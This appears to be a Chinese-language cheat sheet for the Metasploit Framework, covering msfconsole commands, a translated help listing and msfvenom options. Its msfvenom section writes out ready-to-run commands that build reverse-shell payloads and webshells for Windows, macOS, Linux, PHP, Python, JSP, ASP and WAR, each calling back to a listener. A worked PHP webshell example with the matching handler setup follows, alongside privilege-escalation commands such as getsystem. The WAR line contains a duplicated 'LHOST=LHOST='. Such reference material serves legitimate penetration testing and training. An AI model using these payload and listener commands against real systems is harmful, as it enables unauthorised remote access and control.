msf
msfconsole
MSF是Metasploit Framework的缩写,它是一个开源的安全工具,用于开发、测试和执行漏洞利用代码。它由Rapid7公司维护,被安全研究人员和渗透测试人员广泛使用,以发现和利用系统漏洞。Metasploit提供了一个模块化的架构,包括各种类型的漏洞利用、载荷、辅助功能和其他工具。
以下是一些常用的MSF命令:
# 启动Metasploit Console,这是Metasploit的交互式接口。
msfconsole
常用命令
在msf交互界面 msf>
的常用命令如下
# 在Metasploit数据库中搜索特定的漏洞或模块
# 如:search type:exploit platform:windows smb
search <vuln_or_module>
# 选择一个特定的模块来使用
# 例:use exploit/windows/smb/ms08_067_netapi
use <module>
# 显示当前模块的配置选项
show options
# 配置一个模块的选项
# 例:set RHOST 192.168.1.100
set <host>
# 执行选择的漏洞利用模块
exploit
# 运行辅助模块或在后台执行漏洞利用
run
# 或
exploit -j
# 列出所有活动的会话
sessions
# 与指定ID的会话进行交互
sessions -i [session_id]
# 将当前会话放到后台
background
# 使用nmap进行网络扫描,并将结果存储到Metasploit的数据库中
db_nmap
# 管理Metasploit的工作区,可以用来隔离不同的项目
workspace
# 加载Metasploit插件
load <plugin>
# 退出Metasploit Console
exit
# 或
quit
# 查看信息
info
# 返回上一级
back
# 获得运行Meterpreter会话的用户名,从而查看当前会话具有的权限
getuid
# 通过各种攻击向量来提升到系统用户权限
getsystem
# shell处于靶机的目录
getwd
pwd
# 本地的目录位置
getlwd
# 显示所有运行进程以及管联的用户账户
ps
# 执行cmd.exe命令并进行交互
execute -f cmd.exe -i
# 以所有可用令牌来运行一个交互的shell
shell
详细命令
msf6 > help
核心命令
=============
命令 描述
------- -----------
? 帮助菜单
banner 显示一个很酷的metasploit横幅
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
debug 显示有助于调试的信息
exit 退出控制台
features 显示尚未发布的特性的列表,可以选择加入
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep 过滤另一个命令的输出
help 帮助菜单
history 显示命令历史
load 加载框架插件
quit 退出控制台
repeat 重复一系列命令
route 通过会话路由流量
save 保存活动数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为值
setg 将全局变量设置为值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 查看和管理后台线程
tips 显示有用的生产力提示列表
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库的版本号
模块命令
===============
命令 描述
------- -----------
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
clearm 清除模块堆栈
favorite 将模块添加到收藏模块列表
favorites 打印收藏模块列表(`show favorites`的别名)
info 显示一个或多个模块的信息
listm 列出模块堆栈
loadpath 搜索并从路径加载模块
options 显示全局选项或一个或多个模块的选项
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将先前加载的模块设置为当前模块
pushm 将活动模块或模块列表推送到模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块,或所有模块
use 通过名称或搜索词/索引与模块交互
作业命令
============
命令 描述
------- -----------
handler 以作业形式启动有效载荷处理程序
jobs 显示和管理作业
kill 杀死一个作业
rename_job 重命名一个作业
资源脚本命令
========================
命令 描述
------- -----------
makerc 将启动后输入的命令保存到文件
resource 运行存储在文件中的命令
数据库后端命令
=========================
命令 描述
------- -----------
analyze 分析有关特定地址或地址范围的数据库信息
db_connect 连接到现有的数据服务
db_disconnec 断开与当前数据服务的连接
t
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_c 重建数据库存储的模块缓存(已弃用)
ache
db_remove 删除保存的数据服务条目
db_save 保存当前数据服务连接作为默认连接,以便在启动时重新连接
db_stats 显示数据库统计信息
db_status 显示当前数据服务状态
hosts 列出数据库中的所有主机
klist 列出数据库中的Kerberos票证
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭据后端命令
============================
命令 描述
------- -----------
creds 列出数据库中的所有凭据
开发者命令
==================
命令 描述
------- -----------
edit 使用首选编辑器编辑当前模块或文件
irb 在当前上下文中打开交互式Ruby shell
log 尽可能将`framework.log`分页显示到末尾
pry 在当前模块或框架上打开Pry调试器
reload_lib 重新加载指定路径中的Ruby库文件
time 计算运行特定命令所需的时间
msfconsole
==========
`msfconsole` 是 Metasploit Framework 的主要接口。这里有很多内容需要介绍,请耐心等待,并关注这个空间!
构建范围和列表
-------------------------
许多接受事物列表的命令和选项可以使用范围来避免手动列出每个所需的事物。所有范围都是包含的。
### ID范围
接受ID列表的命令可以使用范围来帮助。单个ID必须由 `,` 分隔(不允许有空格),范围可以用 `-` 或 `..` 表示。
### IP范围
有几种方法可以指定IP地址范围,可以混合使用。第一种方法是将IP地址用 ` `(ASCII空格)分隔,可选使用 `,`。第二种方法是用两个完整的IP地址的形式 `开始地址-END地址`,如 `127.0.1.44-127.0.2.33`。也可以使用CIDR规范,但是整个地址必须提供给Metasploit,如 `127.0.0.0/8`,而不是 `127/8`,这与RFC相反。此外,网络掩码可以与域名结合使用,动态解析要定位的块。所有这些方法都适用于IPv4和IPv6地址。IPv4地址还可以使用[NMAP目标规范](https://nmap.org/book/man-target-specification.html)中的特殊八位字节范围来指定。
### 示例
终止第一个会话:
sessions -k 1
停止一些额外的运行作业:
jobs -k 2-6,7,8,11..15
检查一组IP地址:
check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
定位一组IPv6主机:
set RHOSTS fe80::3990:0000/110, ::1-::f0f0
定位从解析的域名开始的块:
set RHOSTS www.example.test/24
msfvenom
常用命令
msfvenom 是 Metasploit 框架中用于生成有效负载和编码器的工具。它可以将有效负载与特定的编码器、NOP生成器和无阶段的有效负载结合在一起,生成各种格式的有效负载,如 raw、hex、python 等。msfvenom 集成了 msfpayload 和 msfencode 的功能,提供了一个强大的有效负载生成器。
生成二进制shell
Windows :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > shell.exe
这将生成一个反弹 shell 到 192.168.1.10 的 Windows 可执行文件。
macOS :
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho > shell.macho
这将生成一个 macOS 的 Mach-O 可执行文件,用于反弹 shell 到 192.168.1.10。
Linux :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf
这将生成一个 Linux 的 ELF 可执行文件,用于反弹 shell 到 192.168.1.10。
webshell
PHP :
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.php
这将生成一个 PHP 脚本,用于连接到 192.168.1.10 的监听器。
Python :
msfvenom -p python/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.py
这将生成一个 Python 脚本,用于连接到 192.168.1.10 的监听器。
Java :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.jar
这将生成一个 Java JSP 有效负载,用于连接到 192.168.1.10 的监听器。
JSP :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw > shell.jsp
ASP :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f asp > shell.asp
WAR :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=LHOST=192.168.1.10 LPORT=4444 -f war > shell.war
如何利用
下面以php为例做一下测试,使用以下命令生成一个webshell:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php
在kali上使用msf执行下面的命令,监听端口4444:
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST 192.168.153.176
set LPORT 4444
exploit
详细命令
MsfVenom - Metasploit 的独立有效载荷生成器。
也是 msfpayload 和 msfencode 的替代品。
用法:/usr/bin/msfvenom [选项] <var=val>
示例:/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
选项:
-l, --list <类型> 列出所有[类型]的模块。类型包括:payloads(有效载荷)、encoders(编码器)、nops(空操作指令)、platforms(平台)、archs(架构)、encrypt(加密)、formats(格式)、all(所有)
-p, --payload <有效载荷> 使用的有效载荷(使用 --list payloads 列出,--list-options 列出参数)。指定 '-' 或 STDIN 用于自定义
--list-options 列出 --payload <值> 的标准、高级和规避选项
-f, --format <格式> 输出格式(使用 --list formats 列出)
-e, --encoder <编码器> 使用的编码器(使用 --list encoders 列出)
--service-name <值> 生成服务二进制文件时使用的服务名称
--sec-name <值> 生成大型Windows二进制文件时使用的新节名称。默认:随机4个字符的字母字符串
--smallest 使用所有可用的编码器生成尽可能小的有效载荷
--encrypt <值> 应用于shellcode的加密或编码类型(使用 --list encrypt 列出)
--encrypt-key <值> 用于 --encrypt 的密钥
--encrypt-iv <值> 用于 --encrypt 的初始化向量
-a, --arch <架构> 用于 --payload 和 --encoders 的架构(使用 --list archs 列出)
--platform <平台> 用于 --payload 的平台(使用 --list platforms 列出)
-o, --out <路径> 将有效载荷保存到文件
-b, --bad-chars <列表> 要避免的字符示例:'\x00\xff'
-n, --nopsled <长度> 在有效载荷前附加 [长度] 大小的nopsled
--pad-nops 使用 -n <长度> 指定的nopsled大小作为总有效载荷大小,自动在前面附加数量为(nops减去有效载荷长度)的nopsled
-s, --space <长度> 结果有效载荷的最大大小
--encoder-space <长度> 编码有效载荷的最大大小(默认为 -s 值)
-i, --iterations <次数> 编码有效载荷的次数
-c, --add-code <路径> 指定要包含的额外的win32 shellcode文件
-x, --template <路径> 指定使用自定义可执行文件作为模板
-k, --keep 保留 --template 行为并在新线程中注入有效载荷
-v, --var-name <值> 为某些输出格式指定自定义变量名称
-t, --timeout <秒> 当从STDIN读取有效载荷时要等待的秒数(默认30,0禁用)
-h, --help 显示此帮助信息